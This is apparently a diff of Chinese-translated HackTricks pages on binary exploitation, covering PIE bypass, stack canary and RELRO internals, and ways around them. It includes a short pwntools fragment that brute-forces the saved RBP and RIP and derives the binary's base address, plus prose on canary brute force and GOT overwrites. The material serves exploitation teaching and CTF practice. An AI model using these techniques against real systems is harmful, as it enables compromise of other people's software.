||||
|
||||
利用这些二进制文件的技巧在于利用**相对地址**,即使绝对位置发生变化,程序部分之间的偏移量仍然保持不变。要**绕过PIE,只需泄漏一个地址**,通常是从**栈**中使用格式字符串攻击等漏洞泄漏。一旦获得一个地址,您可以通过它们的**固定偏移量**计算其他地址。
|
||||
利用这些二进制文件的漏洞的技巧在于利用**相对地址**,即使绝对位置发生变化,程序部分之间的偏移量仍然保持不变。要**绕过PIE,只需泄漏一个地址**,通常是从**栈**中使用漏洞(如格式化字符串攻击)获取。一旦获得一个地址,您可以通过它们的**固定偏移量**计算其他地址。
|
||||
|
||||
在利用PIE二进制文件时的一个有用提示是,它们的**基地址通常以000结尾**,因为内存页面是随机化的单位,大小为0x1000字节。这种对齐可以是一个关键的**检查是否工作正常**的指标,指示是否已识别出正确的基地址。\
|
||||
或者您可以将其用于您的利用,如果您泄漏了一个地址位于**`0x649e1024`**,则您知道**基地址为`0x649e1000`**,然后您可以**计算函数和位置的偏移量**。
|
||||
在利用PIE二进制文件时的一个有用提示是,它们的**基地址通常以000结尾**,这是由于内存页面是随机化的单位,大小为0x1000字节。这种对齐可以是一个关键的**检查是否工作正常**的指标,指示是否已识别出正确的基地址。\
|
||||
或者您可以将其用于您的利用,如果您泄漏了一个地址位于**`0x649e1024`**,则您知道**基地址为`0x649e1000`**,然后您只需**计算函数和位置的偏移量**。
|
||||
|
||||
## 绕过方式
|
||||
## 绕过方法
|
||||
|
||||
为了绕过PIE,需要**泄漏加载的**二进制文件的一些地址,有一些选项可以实现这一点:
|
||||
|
||||
* **禁用ASLR**:如果ASLR被禁用,使用PIE编译的二进制文件始终会**在相同的地址加载**,因此**PIE将变得无效**,因为对象的地址始终会在相同的位置。
|
||||
* **禁用 ASLR**:如果ASLR被禁用,使用PIE编译的二进制文件始终会**加载到相同的地址**,因此**PIE将变得无效**,因为对象的地址始终会在同一位置。
|
||||
* **获得**泄漏(在简单的CTF挑战中很常见,[**查看此示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* 在栈中**暴力破解EBP和EIP值**,直到泄漏正确的值:
|
||||
* 在栈中**暴力破解 EBP 和 EIP 值**,直到泄漏正确的值:
|
||||
|
||||
{% content-ref url="bypassing-canary-and-pie.md" %}
|
||||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* 使用**任意读取**漏洞,如[**格式字符串**](../../format-strings/)泄漏二进制文件的地址(例如从栈中,就像前一种技术中那样)以获取二进制文件的基地址,并从那里使用偏移量。[**在此处找到示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
* 使用诸如[**格式化字符串**](../../format-strings/)之类的**任意读取**漏洞来泄漏二进制文件的地址(例如从栈中,就像前一种技术中那样)以获取二进制文件的基址,并从那里使用偏移量。[**在此处找到示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# 在堆栈中的 BF 地址
|
||||
# 栈中的 BF 地址
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**如果您面对一个由 canary 和 PIE(位置无关可执行文件)保护的二进制文件,您可能需要找到一种绕过它们的方法。**
|
||||
**如果你面对一个由 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种方法来绕过它们。**
|
||||
|
||||
![](<../../../.gitbook/assets/image (865).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,如果二进制文件是静态编译的且无法识别函数,则 **`checksec`** 可能无法发现二进制文件受到 canary 保护。\
|
||||
但是,如果您发现在函数调用开始时将一个值保存在堆栈中,并且在退出之前检查了该值,则可以手动注意到这一点。
|
||||
请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\
|
||||
然而,如果你发现在函数调用开始时保存了一个值在栈中,并且在退出之前检查了这个值,你可以手动注意到这一点。
|
||||
{% endhint %}
|
||||
|
||||
## 暴力破解地址
|
||||
## Brute-Force 地址
|
||||
|
||||
为了**绕过 PIE**,您需要**泄漏一些地址**。如果二进制文件没有泄漏任何地址,最好的方法是在易受攻击的函数中**暴力破解堆栈中保存的 RBP 和 RIP**。\
|
||||
例如,如果一个二进制文件同时使用**canary**和**PIE**进行保护,您可以开始暴力破解 canary,然后**接下来**的 8 字节(x64)将是保存的**RBP**,接下来的 8 字节将是保存的**RIP**。
|
||||
为了**绕过 PIE**,你需要**泄漏一些地址**。如果二进制文件没有泄漏任何地址,最好的方法是在易受攻击的函数中**暴力破解栈中保存的 RBP 和 RIP**。\
|
||||
例如,如果一个二进制文件同时使用**canary**和**PIE**进行保护,你可以开始暴力破解 canary,然后**接下来**的 8 字节(x64)将是保存的**RBP**,接下来的 8 字节将是保存的**RIP**。
|
||||
|
||||
{% hint style="success" %}
|
||||
假定堆栈中的返回地址属于主二进制代码,如果漏洞位于二进制代码中,通常情况下是这样的。
|
||||
假设栈中的返回地址属于主二进制代码,如果漏洞位于二进制代码中,通常情况下会是这样。
|
||||
{% endhint %}
|
||||
|
||||
要从二进制文件中暴力破解 RBP 和 RIP,您可以发现,如果程序输出了某些内容或者没有崩溃,那么猜测的字节是正确的。可以使用与用于暴力破解 canary 相同的函数来暴力破解 RBP 和 RIP:
|
||||
要从二进制文件中暴力破解 RBP 和 RIP,你可以发现一个有效的猜测字节是否正确,如果程序输出了一些内容或者它没有崩溃。可以使用与用于暴力破解 canary 相同的函数来暴力破解 RBP 和 RIP:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -80,9 +81,9 @@ print("Brute-Forcing RIP")
|
|||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
最后你需要战胜PIE的是计算从泄漏的地址中得到的有用地址:RBP和RIP。
|
||||
最后你需要战胜PIE的是计算从泄漏的地址中得到的有用地址:**RBP** 和 **RIP**。
|
||||
|
||||
通过RBP,你可以计算你的shell写在栈中的位置。这对于知道你将在栈内哪里写入字符串"/bin/sh\x00"非常有用。要计算泄漏的RBP和你的shellcode之间的距离,你可以在泄漏RBP后设置一个断点,检查你的shellcode位于哪里,然后计算shellcode和RBP之间的距离:
|
||||
通过 **RBP** 你可以计算出你的shell写在堆栈中的位置。这对于知道你将在堆栈中的哪里写入字符串 _"/bin/sh\x00"_ 非常有用。要计算泄漏的RBP和你的shellcode之间的距离,你可以在泄漏RBP后设置一个断点,检查你的shellcode位于哪里,然后计算shellcode和RBP之间的距离:
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
|
@ -91,12 +92,12 @@ INI_SHELLCODE = RBP - 1152
|
|||
|
||||
![](<../../../.gitbook/assets/image (479).png>)
|
||||
|
||||
在该示例中,您可以看到只需要**1字节半**就可以定位所有代码,因此,在这种情况下,基地址将是**泄漏的RIP,但以"000"结尾**。例如,如果泄漏了`0x562002970ecf`,则基地址为`0x562002970000`
|
||||
在这个示例中,您可以看到只需要**1字节和半字节**就可以定位所有的代码,因此,在这种情况下,基地址将是**泄漏的RIP,但以"000"结尾**。例如,如果泄漏了`0x562002970ecf`,则基地址为`0x562002970000`
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
## 改进
|
||||
|
||||
根据[**这篇帖子的一些观察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking),当泄漏RBP和RIP值时,服务器不会因为一些不正确的值而崩溃,而BF脚本会认为它获得了正确的值。这是因为**即使不是完全正确的地址,有些地址也不会导致崩溃**。
|
||||
根据[**这篇文章的一些观察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking),当泄露RBP和RIP值时,服务器不会因为一些不正确的值而崩溃,而BF脚本会认为它获得了正确的值。这是因为**即使不是完全正确的地址,有些地址也不会导致崩溃**。
|
||||
|
||||
根据该博客文章,建议在请求之间向服务器添加短暂延迟。
|
||||
|
|
|
@ -1,41 +1,27 @@
|
|||
# Relro
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## Relro
|
||||
|
||||
**RELRO**代表**Relocation Read-Only**,是二进制文件中使用的安全功能,用于减轻与**GOT(Global Offset Table)**覆写相关的风险。让我们将这个概念分解为两种不同类型以便更清晰地理解:**Partial RELRO**和**Full RELRO**。
|
||||
**RELRO**代表**重定位只读**,是用于二进制文件的安全特性,用于减轻与**GOT(全局偏移表)**覆盖相关的风险。让我们将这个概念分解为两种不同类型以便更清晰地理解:**部分RELRO**和**完全RELRO**。
|
||||
|
||||
### **Partial RELRO**
|
||||
### **部分RELRO**
|
||||
|
||||
**Partial RELRO**采用了一种更简单的方法来增强安全性,而不会显著影响二进制文件的性能。通过**将GOT放置在程序变量的内存之上,Partial RELRO旨在防止缓冲区溢出达到并破坏GOT**。 
|
||||
**部分RELRO**采用了一种简单的方法来增强安全性,而不会显著影响二进制文件的性能。通过**将GOT放置在程序变量的内存之上,部分RELRO旨在防止缓冲区溢出达到并破坏GOT**。
|
||||
|
||||
这**不能防止GOT**被滥用**来自任意写入**漏洞。
|
||||
这**并不能防止GOT**被滥用**来自任意写入**漏洞。
|
||||
|
||||
### **Full RELRO**
|
||||
### **完全RELRO**
|
||||
|
||||
**Full RELRO**通过**使GOT和.fini\_array**部分完全**只读**来加强保护。一旦二进制文件启动,所有函数地址都会被解析并加载到GOT中,然后,GOT被标记为只读,有效地防止在运行时对其进行任何修改。
|
||||
**完全RELRO**通过**使GOT和.fini_array**部分完全**只读**来加强保护。一旦二进制文件启动,所有函数地址都会被解析并加载到GOT中,然后,GOT被标记为只读,有效地防止在运行时对其进行任何修改。
|
||||
|
||||
然而,Full RELRO的折衷之处在于性能和启动时间。因为它需要在标记GOT为只读之前在启动时解析所有动态符号,**启用Full RELRO的二进制文件可能会经历更长的加载时间**。这种额外的启动开销是为什么并非所有二进制文件默认启用Full RELRO的原因。
|
||||
然而,完全RELRO的折衷之处在于性能和启动时间。因为它需要在标记GOT为只读之前在启动时解析所有动态符号,**启用完全RELRO的二进制文件可能会经历更长的加载时间**。这种额外的启动开销是为什么完全RELRO不会在所有二进制文件中默认启用的原因。
|
||||
|
||||
可以通过以下方式查看二进制文件中是否启用了Full RELRO:
|
||||
可以通过以下方式查看二进制文件中是否启用了完全RELRO:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
## 绕过
|
||||
|
||||
如果启用了Full RELRO,唯一的绕过方法是找到另一种不需要写入GOT表就能获得任意执行的方式。
|
||||
如果启用了Full RELRO,唯一的绕过方法是找到另一种不需要写入GOT表就能获取任意执行的方式。
|
||||
|
||||
请注意**LIBC的GOT通常是Partial RELRO**,因此可以使用任意写入来修改它。更多信息请参阅[Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**。**
|
||||
|
|
|
@ -1,100 +1,102 @@
|
|||
# 栈保护
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **StackGuard和StackShield**
|
||||
## **StackGuard 和 StackShield**
|
||||
|
||||
**StackGuard**在**EIP(扩展指令指针)**之前插入一个特殊值,称为**canary**,具体为`0x000aff0d`(表示空值、换行符、EOF、回车),以防止缓冲区溢出。然而,像`recv()`、`memcpy()`、`read()`和`bcopy()`这样的函数仍然容易受到攻击,它不保护**EBP(基指针)**。
|
||||
**StackGuard** 在 **EIP (Extended Instruction Pointer)** 前插入一个特殊值,称为 **canary**,具体为 `0x000aff0d`(表示空值、换行符、EOF、回车),以防止缓冲区溢出。然而,像 `recv()`、`memcpy()`、`read()` 和 `bcopy()` 这样的函数仍然容易受到攻击,而且它不保护 **EBP (Base Pointer)**。
|
||||
|
||||
**StackShield**采用比StackGuard更复杂的方法,维护一个**全局返回堆栈**,存储所有返回地址(**EIPs**)。这种设置确保任何溢出都不会造成伤害,因为它允许对存储的和实际的返回地址进行比较,以检测溢出事件。此外,StackShield可以将返回地址与边界值进行比较,以检测**EIP**是否指向预期数据空间之外。然而,这种保护可以通过Return-to-libc、ROP(Return-Oriented Programming)或ret2ret等技术绕过,这表明StackShield也不保护本地变量。
|
||||
**StackShield** 比 StackGuard 采取了更复杂的方法,它维护一个**全局返回栈**,用于存储所有返回地址(**EIPs**)。这种设置确保任何溢出都不会造成伤害,因为它允许对存储的和实际的返回地址进行比较,以检测溢出事件。此外,StackShield 可以将返回地址与边界值进行比较,以检测 **EIP** 是否指向预期数据空间之外。然而,这种保护可以通过 Return-to-libc、ROP (Return-Oriented Programming) 或 ret2ret 等技术绕过,这表明 StackShield 也无法保护本地变量。
|
||||
|
||||
## **栈破坏保护器(ProPolice)`-fstack-protector`:**
|
||||
## **栈溢出保护器 (ProPolice) `-fstack-protector`:**
|
||||
|
||||
此机制在**EBP**之前放置一个**canary**,并重新组织本地变量,将缓冲区定位在更高的内存地址,防止它们覆盖其他变量。它还安全地复制传递在本地变量上方堆栈上传递的参数,并使用这些副本作为参数。然而,它不保护少于8个元素的数组或用户结构中的缓冲区。
|
||||
这种机制在 **EBP** 前放置一个 **canary**,并重新组织本地变量,将缓冲区放置在更高的内存地址,以防止它们覆盖其他变量。它还安全地复制传递给栈上的参数,将这些副本用作参数。然而,它不保护少于 8 个元素的数组或用户结构中的缓冲区。
|
||||
|
||||
**canary**是从`/dev/urandom`派生的随机数,或者默认值为`0xff0a0000`。它存储在**TLS(线程本地存储)**中,允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制,子进程可以修改它们的数据而不影响父进程或同级进程。然而,如果在不创建新canary的情况下使用**`fork()`**,所有进程(父进程和子进程)共享相同的canary,使其容易受到攻击。在**i386**架构上,canary存储在`gs:0x14`,在**x86\_64**上存储在`fs:0x28`。
|
||||
**canary** 是从 `/dev/urandom` 派生的随机数,或者默认值为 `0xff0a0000`。它存储在 **TLS (Thread Local Storage)** 中,允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制,子进程可以修改它们的数据而不影响父进程或同级进程。然而,如果在不创建新 canary 的情况下使用 **`fork()`**,所有进程(父进程和子进程)将共享相同的 canary,使其容易受到攻击。在 **i386** 架构上,canary 存储在 `gs:0x14`,在 **x86\_64** 上存储在 `fs:0x28`。
|
||||
|
||||
此本地保护识别容易受攻击的缓冲区的函数,并在这些函数的开头注入代码以放置canary,并在结尾验证其完整性。
|
||||
这种本地保护识别容易受攻击的带有缓冲区的函数,并在这些函数的开头注入代码以放置 canary,在结尾验证其完整性。
|
||||
|
||||
当Web服务器使用`fork()`时,可以通过逐字节猜测canary来进行暴力攻击。然而,在`fork()`后使用`execve()`会覆盖内存空间,从而抵消攻击。`vfork()`允许子进程执行而不复制,直到尝试写入时创建副本,提供了一种不同的进程创建和内存处理方法。
|
||||
当 Web 服务器使用 `fork()` 时,可以通过逐字节猜测 canary 进行暴力攻击。然而,在 `fork()` 后使用 `execve()` 覆盖内存空间,从而消除攻击。`vfork()` 允许子进程执行而不复制,直到尝试写入时创建副本,提供了一种不同的进程创建和内存处理方法。
|
||||
|
||||
### 长度
|
||||
|
||||
在`x64`二进制文件中,canary cookie是一个**`0x8`**字节qword。**前七个字节是随机的**,最后一个字节是**空字节**。
|
||||
在 `x64` 二进制文件中,canary cookie 是一个 **`0x8`** 字节的 qword。**前七个字节是随机的**,最后一个字节是一个 **空字节**。
|
||||
|
||||
在`x86`二进制文件中,canary cookie是一个**`0x4`**字节dword。**前三个字节是随机的**,最后一个字节是**空字节**。
|
||||
在 `x86` 二进制文件中,canary cookie 是一个 **`0x4`** 字节的 dword。**前三个字节是随机的**,最后一个字节是一个 **空字节**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
两个canary的最低有效字节是空字节,因为它将是来自较低地址的栈中的第一个字节,因此**读取字符串的函数将在读取它之前停止**。
|
||||
两个 canary 的最低有效字节是空字节,因为它将是来自较低地址的栈中的第一个字节,因此**读取字符串的函数将在读取它之前停止**。
|
||||
{% endhint %}
|
||||
|
||||
## 绕过
|
||||
|
||||
**泄露canary**,然后用其自身的值覆盖它(例如缓冲区溢出)。
|
||||
**泄露 canary**,然后用其自身值覆盖它(例如缓冲区溢出)。
|
||||
|
||||
* 如果**canary在子进程中被fork**,可能可以**逐字节暴力破解**:
|
||||
* 如果 **canary 在子进程中被 fork**,可能可以逐字节进行 **暴力破解**:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* 如果二进制文件中存在一些有趣的**泄漏或任意读取漏洞**,可能可以泄漏它:
|
||||
* 如果二进制文件中存在一些有趣的 **泄漏或任意读取漏洞**,可能可以泄漏它:
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **覆盖存储在栈中的指针**
|
||||
* **覆盖栈中存储的指针**
|
||||
|
||||
易受栈溢出攻击的栈可能**包含可以被覆盖的字符串或函数地址**,以便利用漏洞而无需达到栈canary。查看:
|
||||
栈易受栈溢出攻击的情况下,可能会 **包含可被覆盖的字符串或函数地址**,以便利用漏洞而无需到达栈 canary。查看:
|
||||
|
||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **修改主canary和线程canary**
|
||||
* **修改主 canary 和线程 canary**
|
||||
|
||||
受canary保护的线程函数中的缓冲区**溢出**可用于**修改线程的主canary**。结果,该缓解措施无效,因为检查使用两个相同的canary(尽管已修改)。
|
||||
受 canary 保护的线程函数中的缓冲区 **溢出** 可用于 **修改线程的主 canary**。结果,该防护措施无效,因为检查使用了两个相同的 canary(尽管已修改)。
|
||||
|
||||
此外,受canary保护的线程函数中的缓冲区**溢出**可用于**修改存储在TLS中的主canary**。这是因为可能可以通过线程的栈中的**缓冲区溢出**到达存储TLS的内存位置(因此,canary)。\
|
||||
结果,该缓解措施无效,因为检查使用两个相同的canary(尽管已修改)。\
|
||||
此攻击在以下文档中执行:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
此外,受 canary 保护的线程函数中的缓冲区 **溢出** 可用于 **修改存储在 TLS 中的主 canary**。这是因为可能可以通过线程的栈中的 **缓冲区溢出** 达到存储 TLS 的内存位置。\
|
||||
结果,该防护措施无效,因为检查使用了两个相同的 canary(尽管已修改)。\
|
||||
此攻击在以下 writeup 中执行:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
还请查看[https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015)的演示文稿,其中提到通常**TLS**由**`mmap`**存储,当创建**线程**的**栈**时也是由`mmap`生成的,根据这一点,可能允许如前述文档中所示的溢出。
|
||||
还请查看 [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常 **TLS** 由 **`mmap`** 存储,当创建 **线程** 的 **栈** 时也是由 `mmap` 生成的,根据这一点,可能允许如前述 writeup 中所示的溢出。
|
||||
|
||||
* **修改`__stack_chk_fail`的GOT表项**
|
||||
* **修改 `__stack_chk_fail` 的 GOT 条目**
|
||||
|
||||
如果二进制文件具有Partial RELRO,则可以使用任意写入来修改**`__stack_chk_fail`的GOT表项**,使其成为一个虚拟函数,如果canary被修改,则不会阻止程序。
|
||||
如果二进制文件具有 Partial RELRO,则可以使用任意写入来修改 **`__stack_chk_fail` 的 GOT 条目**,使其成为一个不会阻止程序的虚拟函数,即使 canary 被修改。
|
||||
|
||||
此攻击在以下文档中执行:[https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
此攻击在以下 writeup 中执行:[https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
## 参考资料
|
||||
|
||||
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
